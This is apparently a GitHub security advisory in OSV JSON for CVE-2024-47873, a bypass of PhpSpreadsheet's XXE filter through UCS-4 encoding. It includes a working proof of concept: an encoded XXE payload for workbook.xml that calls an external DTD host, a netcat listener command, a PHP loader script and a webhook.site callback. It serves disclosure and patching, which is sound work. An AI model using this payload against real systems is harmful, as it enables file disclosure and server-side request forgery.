CVE-2024-47873: Phpoffice/phpspreadsheet XmlScanner Bypass Leads To XXE Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jw4x-v69f-hh5w",
  "modified" : "2025-03-06T18:15:31Z",
  "published" : "2024-11-18T20:01:20Z",
  "aliases" : [ "CVE-2024-47873" ],
  "summary" : "XmlScanner bypass leads to XXE",
  "details" : "### Summary\nThe [XmlScanner class](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php) has a [scan](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L72) method which should prevent XXE attacks.\n\nHowever, the regexes used in the `scan` method and the [findCharSet](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L51) method can be bypassed by using UCS-4 and encoding guessing as described in <https://www.w3.org/TR/xml/#sec-guessing-no-ext-info>.\n\n\n### Details\nThe `scan` method converts the input in the UTF-8 encoding if it is not already in the UTF-8 encoding with the [`toUtf8` method](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L76).\nThen, the `scan` method uses a [regex](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L79) which would also work with 16-bit encoding.\n\nHowever, the regexes from the [findCharSet](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L51) method, which is used for determining the current encoding can be bypassed by using an encoding which has more than 8 bits, since the regex does not expect null bytes, and the XML library will also autodetect the encoding as described in <https://www.w3.org/TR/xml/#sec-guessing-no-ext-info>.\n\nA payload for the `workbook.xml` file can for example be created with [CyberChef](https://gchq.github.io/CyberChef/#recipe=Encode_text('UTF-32BE%20(12001)')&input=PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTE2IiBzdGFuZGFsb25lPSJ5ZXMiPz4KPCFET0NUWVBFIG1lc3NhZ2UgWwogICAgPCFFTlRJVFkgJSBleHQgU1lTVEVNICJodHRwOi8vMTI3LjAuMC4xOjEyMzQ1L2V4dC5kdGQiPgogICAgJWV4dDsKXT4KPHdvcmtib29rIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5vcGVueG1sZm9ybWF0cy5vcmcvc3ByZWFkc2hlZXRtbC8yMDA2L21haW4iIHhtbG5zOnI9Imh0dHA6Ly9zY2hlbWFzLm9wZW54bWxmb3JtYXRzLm9yZy9vZmZpY2VEb2N1bWVudC8yMDA2L3JlbGF0aW9uc2hpcHMiPjxmaWxlVmVyc2lvbiBhcHBOYW1lPSJDYWxjIi8%2BPHdvcmtib29rUHIgYmFja3VwRmlsZT0iZmFsc2UiIHNob3dPYmplY3RzPSJhbGwiIGRhdGUxOTA0PSJmYWxzZSIvPjx3b3JrYm9va1Byb3RlY3Rpb24vPjxib29rVmlld3M%2BPHdvcmtib29rVmlldyBzaG93SG9yaXpvbnRhbFNjcm9sbD0idHJ1ZSIgc2hvd1ZlcnRpY2FsU2Nyb2xsPSJ0cnVlIiBzaG93U2hlZXRUYWJzPSJ0cnVlIiB4V2luZG93PSIwIiB5V2luZG93PSIwIiB3aW5kb3dXaWR0aD0iMTYzODQiIHdpbmRvd0hlaWdodD0iODE5MiIgdGFiUmF0aW89IjUwMCIgZmlyc3RTaGVldD0iMCIgYWN0aXZlVGFiPSIwIi8%2BPC9ib29rVmlld3M%2BPHNoZWV0cz48c2hlZXQgbmFtZT0iU2hlZXQxIiBzaGVldElkPSIxIiBzdGF0ZT0idmlzaWJsZSIgcjppZD0icklkMiIvPjwvc2hlZXRzPjxjYWxjUHIgaXRlcmF0ZUNvdW50PSIxMDAiIHJlZk1vZGU9IkExIiBpdGVyYXRlPSJmYWxzZSIgaXRlcmF0ZURlbHRhPSIwLjAwMSIvPjxleHRMc3Q%2BPGV4dCB4bWxuczpsb2V4dD0iaHR0cDovL3NjaGVtYXMubGlicmVvZmZpY2Uub3JnLyIgdXJpPSJ7NzYyNkM4NjItMkExMy0xMUU1LUIzNDUtRkVGRjgxOUNEQzlGfSI%2BPGxvZXh0OmV4dENhbGNQciBzdHJpbmdSZWZTeW50YXg9IkNhbGNBMSIvPjwvZXh0PjwvZXh0THN0Pjwvd29ya2Jvb2s%2B.).\nIf you open an Excel file containing the payload from the link above stored in the `workbook.xml` file with PhpSpreadsheet, you will receive an HTTP request on `127.0.0.1:12345`. You can test that an HTTP request is created by running the `nc -nlvp 12345` command before opening the file containing the payload with PhpSpreadsheet.\n\n### PoC\n\n- Create a new folder.\n- Run the `composer require phpoffice/phpspreadsheet` command in the new folder.\n- Create an `index.php` file in that folder with the following content:\n```PHP\n<?php\nrequire 'vendor/autoload.php';\n\nuse PhpOffice\\PhpSpreadsheet\\Spreadsheet;\nuse PhpOffice\\PhpSpreadsheet\\Writer\\Xlsx;\n\n$spreadsheet = new Spreadsheet();\n\n$inputFileType = 'Xlsx';\n$inputFileName = './payload.xlsx';\n\n/**  Create a new Reader of the type defined in $inputFileType  **/\n$reader = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createReader($inputFileType);\n/**  Advise the Reader that we only want to load cell data  **/\n$reader->setReadDataOnly(true);\n\n$worksheetData = $reader->listWorksheetInfo($inputFileName);\n\nforeach ($worksheetData as $worksheet) {\n\n$sheetName = $worksheet['worksheetName'];\n\necho \"<h4>$sheetName</h4>\";\n/**  Load $inputFileName to a Spreadsheet Object  **/\n$reader->setLoadSheetsOnly($sheetName);\n$spreadsheet = $reader->load($inputFileName);\n\n$worksheet = $spreadsheet->getActiveSheet();\nprint_r($worksheet->toArray());\n\n}\n```\n- Run the following command: `php -S 127.0.0.1:8080`\n- Add the [payload.xlsx](https://github.com/user-attachments/files/17334157/payload.xlsx) file, which contains a payload similar to the payload from the details section, but with the URL `https://webhook.site/65744200-63d2-43a2-a6a0-cca8d6b0d50a` instead of the `http://127.0.0.1:12345/ext.dtd` URL, in the folder and open <https://127.0.0.1:8080> in a browser. You will see an HTTP request on <https://webhook.site/#!/view/65744200-63d2-43a2-a6a0-cca8d6b0d50a>.\n\n### Impact\nAn attacker can bypass the sanitizer and achieve an [XXE attack](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpspreadsheet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.29.4"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpspreadsheet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.0.0"
      }, {
        "fixed" : "2.1.3"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpspreadsheet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.2.0"
      }, {
        "fixed" : "2.3.2"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpspreadsheet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.3.0"
      }, {
        "fixed" : "3.4.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpexcel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "1.8.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-jw4x-v69f-hh5w"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-47873"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php"
  }, {
    "type" : "WEB",
    "url" : "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"
  }, {
    "type" : "WEB",
    "url" : "https://www.w3.org/TR/xml/#sec-guessing-no-ext-info"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-611" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-11-18T20:01:20Z",
    "nvd_published_at" : "2024-11-18T17:15:11Z"
  }
}